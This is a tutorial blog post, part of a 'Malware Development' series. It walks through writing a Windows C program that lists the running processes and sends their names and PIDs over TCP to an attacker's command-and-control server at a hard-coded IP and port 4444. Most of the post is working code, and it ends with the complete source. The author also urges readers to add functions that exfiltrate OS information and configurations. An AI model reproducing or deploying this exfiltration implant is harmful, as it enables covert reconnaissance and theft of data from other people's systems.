Malware Development: Crafting Digital Chaos 0x5: Data Exfiltration
In this article I am going to be exploring data exfiltration techniques, specifically we are going to obtain the processes running on the target system and send them to our C2 server.
Process Enumeration
First we can start by writing the function that’ll enumerate all the processes and send each process name and ID, over the connection channel that we are going to initiate.
This time we are going to use EnumProcesses
API:
BOOL EnumProcesses(
[out] DWORD *lpidProcess,
[in] DWORD cb,
[out] LPDWORD lpcbNeeded
);
This function retrieves the process identifier (PID) for each process object in the system. Then we can use APIs like GetModuleBaseName
and OpenProcess
to get the actual process name.
DWORD dwPsses[2046], dwPids, dwRl1, dwRl2;
if (EnumProcesses(dwPsses, sizeof(dwPsses), &dwRl1) == 0x0) {
printf("EnumProcesses failed with error: %x", GetLastError());
return FALSE;
}
After this call dwPsses
will receives the list of process identifiers.
Next we can calculate the exact number of PIDs returned (I.e processes), we can divide the dwRl1 by the size of a DWORD.
dwPids = dwRl1 / sizeof(DWORD);
As we are expecting to send the process list and number of them over a connection, we must pass a connection socket as a parameter so we can use that socket to send our data.
And now we have the number of processes, we can send it over the socket:
snprintf(sendbuf, DEFAULT_BUFLEN, "Number of processes = %d\n", dwPids);
iResult = send(ConnectSocket, sendbuf, (int)strlen(sendbuf), 0);
ConnectSocket will be passed as a parameter
Next in order to resolve each processes’ name we need to loop on each element (PID) of the array:
for (int i = 1; i < dwPids; i++) {
if (dwPsses[i] != NULL) {
if ((hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, dwPsses[i])) != NULL) {
if (!EnumProcessModules(hProcess, &hModule, sizeof(HMODULE), &dwRl2)) {
if (GetLastError() == ERROR_PARTIAL_COPY) {
printf("EnumProcessModule failed with ERROR_PARTIAL_COPY, skipping process %d\n", dwPsses[i]);
continue;
}
printf("EnumProcessModule failed with error %d, PID: %d\n", GetLastError(), dwPsses[i]);
return FALSE;
}
else {
if (!GetModuleBaseName(hProcess, hModule, wcProc, sizeof(wcProc) / sizeof(WCHAR))) {
printf("GetModuleBaseName failed with error %d, PID: %d\n", GetLastError(), dwPsses[i]);
return FALSE;
}
else {
snprintf(sendbuf, DEFAULT_BUFLEN, "[+] Process %ls, With PID %d\n", wcProc, dwPsses[i]);
iResult = send(ConnectSocket, sendbuf, (int)strlen(sendbuf), 0);
if (iResult == SOCKET_ERROR) {
printf("send failed with error: %d\n", WSAGetLastError());
return FALSE;
}
}
}
}
}
}
Here OpenProcess
is used to get a handle to the process, the first arguments are the flags
-
PROCESS_QUERY_INFORMATION: It is required to retrieve certain information about a process, such as its token, exit code, name, and priority.
-
PROCESS_VM_READ: It is required to read memory in a process using.
There are other flags like PROCESS_ALL_ACCESS that provide more access than the flags used above, but since we just want to get the names for now we can stick to them
After the call to OpenProcess the variable hProcess will be the handle to the process that was opened, next we pass that handle to EnumProcessModules
:
BOOL EnumProcessModules(
[in] HANDLE hProcess,
[out] HMODULE *lphModule,
[in] DWORD cb,
[out] LPDWORD lpcbNeeded
);
This API retrieves a handle for each module in the specified process, after we obtain a handle to that module, we can use GetModuleBaseName
to obtain the name of the process.
Note: If
EnumProcessModules
is called from a 32-bit application running on WOW64, it can only enumerate the modules of a 32-bit process. If the process is a 64-bit process, this function fails and the last error code is ERROR_PARTIAL_COPY.
GetModuleBaseName
will return the process name in wcProc
and then at the end of the loop, we send the name over the connection channel.
Now this is just one function to send process information, I highly encourage you to write more functions to exfiltrate data like, OS information, configurations, etc.
Initializing the connection
We will be using WSAStartup
to initialize our connection, but first start a listener on your serve on any port.
int WSAStartup(
[in] WORD wVersionRequired,
[out] LPWSADATA lpWSAData
);
This function is part of the Windows Sockets API (Winsock), which is an interface that manages input/output requests for Internet applications in a Windows operating system.
It initializes the Winsock library, allowing a Windows Sockets application to use the Winsock API. It must be the first Winsock function called by an application.
WSADATA wsaData;
SOCKET ConnectSocket = INVALID_SOCKET;
struct addrinfo* result = NULL, * ptr = NULL;
struct addrinfo hints;
int iResult;
// Initialize Winsock
iResult = WSAStartup(MAKEWORD(2, 2), &wsaData);
if (iResult != 0) {
printf("WSAStartup failed with error: %d\n", iResult);
return 1;
}
ZeroMemory(&hints, sizeof(hints));
hints.ai_family = AF_UNSPEC;
hints.ai_socktype = SOCK_STREAM;
hints.ai_protocol = IPPROTO_TCP;
The hints
variable is likely of type addrinfo
, which is a structure used for specifying criteria for socket address structures returned by getaddrinfo()
function.
-
hints.ai_family = AF_UNSPEC;
: This line sets the address family to unspecified. In practice, this means that thegetaddrinfo()
function will return address information for either IPv4 or IPv6, whichever is available. -
hints.ai_socktype = SOCK_STREAM;
: This line sets the socket type to stream-oriented (TCP). -
hints.ai_protocol = IPPROTO_TCP;
: This line sets the protocol to TCP. This is an additional hint for thegetaddrinfo()
function, indicating that it should return addresses that support TCP communication.
ZeroMemory()
is used to zero out the memory occupied by the hints
structure. It sets all bytes of the structure to zero. This ensures that there are no residual values in the structure, making it ready for use.
Next we call getaddrinfo
and is used to convert human-readable addresses and service names into a format that can be used by network sockets.
iResult = getaddrinfo(SERVER_IP, DEFAULT_PORT, &hints, &result);
Note that SERVER_IP and DEFAULT_PORT are defined at the start of the code.
#define DEFAULT_PORT "4444"
#define DEFAULT_BUFLEN 512
#define SERVER_IP "10.0.0.5"
Now we are going to initialize a loop to iterate over the linked list of addrinfo
structures returned by the getaddrinfo()
function, then try to establish a connection:
for (ptr = result; ptr != NULL; ptr = ptr->ai_next) {
// Create a SOCKET for connecting to server
ConnectSocket = socket(ptr->ai_family, ptr->ai_socktype, ptr->ai_protocol);
if (ConnectSocket == INVALID_SOCKET) {
printf("socket failed with error: %ld\n", WSAGetLastError());
WSACleanup();
return 1;
}
// Connect to server
iResult = connect(ConnectSocket, ptr->ai_addr, (int)ptr->ai_addrlen);
if (iResult == SOCKET_ERROR) {
closesocket(ConnectSocket);
ConnectSocket = INVALID_SOCKET;
continue;
}
break;
}
The loop initializes ptr
with the address of the first addrinfo
structure in the linked list result
. It iterates as long as ptr
is not NULL
, meaning there are still more addrinfo
structures in the list. After each iteration, it moves ptr
to point to the next addrinfo
structure in the list ptr = ptr->ai_next
.
The socket
creates an endpoint for communication between two machines over a network and then connect
will establish a connection to the second machine using the socket.
SOCKET socket(
int af,
int type,
int protocol
);
int connect(
SOCKET s,
const sockaddr *name,
int namelen
);
The loop will break once a successful connection is established.
After the loop we simple free the memory allocated by getaddrinfo
freeaddrinfo(result);
Now after we have established the connection we can pass the socket to our process enumeration function we did before:
if (!SendProcessesInfo(ConnectSocket)) {
printf("Failed to send processes information.\n");
}
// Shutdown the connection since no more data will be sent
iResult = shutdown(ConnectSocket, SD_SEND);
if (iResult == SOCKET_ERROR) {
printf("shutdown failed with error: %d\n", WSAGetLastError());
closesocket(ConnectSocket);
WSACleanup();
return 1;
}
// cleanup
closesocket(ConnectSocket);
WSACleanup();
At the end a simple cleanup must be done to shutdown the socket and close the connection since we’ve done sending the data.
Execution
Start a listener on your host machine.
Run the application and if everything is OKAY you should get the data.
Thanks for reading, and here is the full code:
#define WIN32_LEAN_AND_MEAN
#include <windows.h>
#include <stdio.h>
#include <winsock2.h>
#include <ws2tcpip.h>
#include "Psapi.h"
#pragma comment(lib, "Ws2_32.lib")
#define DEFAULT_PORT "4444"
#define DEFAULT_BUFLEN 512
#define SERVER_IP "10.0.0.5"
BOOL SendProcessesInfo(SOCKET ConnectSocket) {
HANDLE hProcess = NULL;
HMODULE hModule = NULL;
WCHAR wcProc[MAX_PATH];
DWORD dwPsses[2046], dwPids, dwRl1, dwRl2;
if (EnumProcesses(dwPsses, sizeof(dwPsses), &dwRl1) == 0x0) {
printf("EnumProcesses failed with error: %x", GetLastError());
return FALSE;
}
dwPids = dwRl1 / sizeof(DWORD);
char sendbuf[DEFAULT_BUFLEN];
int iResult;
snprintf(sendbuf, DEFAULT_BUFLEN, "Number of processes = %d\n", dwPids);
iResult = send(ConnectSocket, sendbuf, (int)strlen(sendbuf), 0);
if (iResult == SOCKET_ERROR) {
printf("send failed with error: %d\n", WSAGetLastError());
return FALSE;
}
for (int i = 1; i < dwPids; i++) {
if (dwPsses[i] != NULL) {
if ((hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, dwPsses[i])) != NULL) {
if (!EnumProcessModules(hProcess, &hModule, sizeof(HMODULE), &dwRl2)) {
if (GetLastError() == ERROR_PARTIAL_COPY) {
printf("EnumProcessModule failed with ERROR_PARTIAL_COPY, skipping process %d\n", dwPsses[i]);
continue;
}
printf("EnumProcessModule failed with error %d, PID: %d\n", GetLastError(), dwPsses[i]);
return FALSE;
}
else {
if (!GetModuleBaseName(hProcess, hModule, wcProc, sizeof(wcProc) / sizeof(WCHAR))) {
printf("GetModuleBaseName failed with error %d, PID: %d\n", GetLastError(), dwPsses[i]);
return FALSE;
}
else {
snprintf(sendbuf, DEFAULT_BUFLEN, "[+] Process %ls, With PID %d\n", wcProc, dwPsses[i]);
iResult = send(ConnectSocket, sendbuf, (int)strlen(sendbuf), 0);
if (iResult == SOCKET_ERROR) {
printf("send failed with error: %d\n", WSAGetLastError());
return FALSE;
}
}
}
}
}
}
CloseHandle(hProcess);
return TRUE;
}
int main() {
WSADATA wsaData;
SOCKET ConnectSocket = INVALID_SOCKET;
struct addrinfo* result = NULL, * ptr = NULL;
struct addrinfo hints;
int iResult;
// Initialize Winsock
iResult = WSAStartup(MAKEWORD(2, 2), &wsaData);
if (iResult != 0) {
printf("WSAStartup failed with error: %d\n", iResult);
return 1;
}
ZeroMemory(&hints, sizeof(hints));
hints.ai_family = AF_UNSPEC;
hints.ai_socktype = SOCK_STREAM;
hints.ai_protocol = IPPROTO_TCP;
iResult = getaddrinfo(SERVER_IP, DEFAULT_PORT, &hints, &result);
if (iResult != 0) {
printf("getaddrinfo failed with error: %d\n", iResult);
WSACleanup();
return 1;
}
for (ptr = result; ptr != NULL; ptr = ptr->ai_next) {
// Create a SOCKET for connecting to server
ConnectSocket = socket(ptr->ai_family, ptr->ai_socktype, ptr->ai_protocol);
if (ConnectSocket == INVALID_SOCKET) {
printf("socket failed with error: %ld\n", WSAGetLastError());
WSACleanup();
return 1;
}
// Connect to server
iResult = connect(ConnectSocket, ptr->ai_addr, (int)ptr->ai_addrlen);
if (iResult == SOCKET_ERROR) {
closesocket(ConnectSocket);
ConnectSocket = INVALID_SOCKET;
continue;
}
break;
}
freeaddrinfo(result);
if (ConnectSocket == INVALID_SOCKET) {
printf("Unable to connect to server!\n");
WSACleanup();
return 1;
}
// Send the processes information
if (!SendProcessesInfo(ConnectSocket)) {
printf("Failed to send processes information.\n");
}
// Shutdown the connection since no more data will be sent
iResult = shutdown(ConnectSocket, SD_SEND);
if (iResult == SOCKET_ERROR) {
printf("shutdown failed with error: %d\n", WSAGetLastError());
closesocket(ConnectSocket);
WSACleanup();
return 1;
}
// cleanup
closesocket(ConnectSocket);
WSACleanup();
return 0;
}